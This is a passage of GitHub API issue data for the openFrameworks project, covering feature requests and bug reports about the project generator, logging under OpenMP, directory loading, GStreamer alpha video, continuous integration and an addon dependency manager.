projects","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-03-21T21:43:34Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1099","id":3710691,"number":1099,"title":"issue with projectGenerator and XIB files.","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-03-19T14:27:25Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"iPhoneGuiExample created by the projectGenerator seems to have an issue with XIB files.\r\nthe XIB is included in the project but can not be viewed inside the xcode project.\r\nin another instance, it was causing the app to crash.\r\n\r\nwhen removing the XIB and adding it back to the project manually, it start working again.\r\nwhich makes me believe its got something to do with the way projectGenerator is adding the XIB to the project.\r\n\r\nive compared the before and after (adding the XIB back manually) and here are the differences in the xcode projects.\r\nnote, the top line is the before and the bottom is the after.\r\n\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.xib; name = MyGuiView.xib; path = gui/MyGuiView.xib; sourceTree = \"\"; };\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; explicitFileType = file; fileEncoding = 30; name = MyGuiView.xib; path = src/gui/MyGuiView.xib; sourceTree = SOURCE_ROOT; };\r\n\r\n/* MyGuiView.xib in Resources */\r\n/* MyGuiView.xib in Sources */"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","id":3710293,"number":1098,"title":"feature / bug - #pragma omp critical(ofLog)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":11,"created_at":"2012-03-19T14:04:51Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","id":3662214,"number":1075,"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-03-15T07:54:55Z","updated_at":"2012-03-15T20:34:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","id":3647640,"number":1070,"title":"Alpha movies in GStreamer","user":{"login":"emmanuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/emmanuelgeoffray","html_url":"https://github.com/emmanuelgeoffray","followers_url":"https://api.github.com/users/emmanuelgeoffray/followers","following_url":"https://api.github.com/users/emmanuelgeoffray/following","gists_url":"https://api.github.com/users/emmanuelgeoffray/gists{/gist_id}","starred_url":"https://api.github.com/users/emmanuelgeoffray/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/emmanuelgeoffray/subscriptions","organizations_url":"https://api.github.com/users/emmanuelgeoffray/orgs","repos_url":"https://api.github.com/users/emmanuelgeoffray/repos","events_url":"https://api.github.com/users/emmanuelgeoffray/events{/privacy}","received_events_url":"https://api.github.com/users/emmanuelgeoffray/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":9,"created_at":"2012-03-14T13:02:41Z","updated_at":"2013-01-15T11:28:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","id":3631618,"number":1068,"title":"Continuous integration/testing","user":{"login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","html_url":"https://github.com/gabrielstuff","followers_url":"https://api.github.com/users/gabrielstuff/followers","following_url":"https://api.github.com/users/gabrielstuff/following","gists_url":"https://api.github.com/users/gabrielstuff/gists{/gist_id}","starred_url":"https://api.github.com/users/gabrielstuff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabrielstuff/subscriptions","organizations_url":"https://api.github.com/users/gabrielstuff/orgs","repos_url":"https://api.github.com/users/gabrielstuff/repos","events_url":"https://api.github.com/users/gabrielstuff/events{/privacy}","received_events_url":"https://api.github.com/users/gabrielstuff/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":27,"created_at":"2012-03-13T15:49:23Z","updated_at":"2013-02-15T15:07:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","id":3627067,"number":1063,"title":"Automatic installer + dependencies handler","user":{"login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","html_url":"https://github.com/gabrielstuff","followers_url":"https://api.github.com/users/gabrielstuff/followers","following_url":"https://api.github.com/users/gabrielstuff/following","gists_url":"https://api.github.com/users/gabrielstuff/gists{/gist_id}","starred_url":"https://api.github.com/users/gabrielstuff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabrielstuff/subscriptions","organizations_url":"https://api.github.com/users/gabrielstuff/orgs","repos_url":"https://api.github.com/users/gabrielstuff/repos","events_url":"https://api.github.com/users/gabrielstuff/events{/privacy}","received_events_url":"https://api.github.com/users/gabrielstuff/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":8,"created_at":"2012-03-13T10:44:57Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","id":3614231,"number":1062,"title":"regularize code for math addons","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 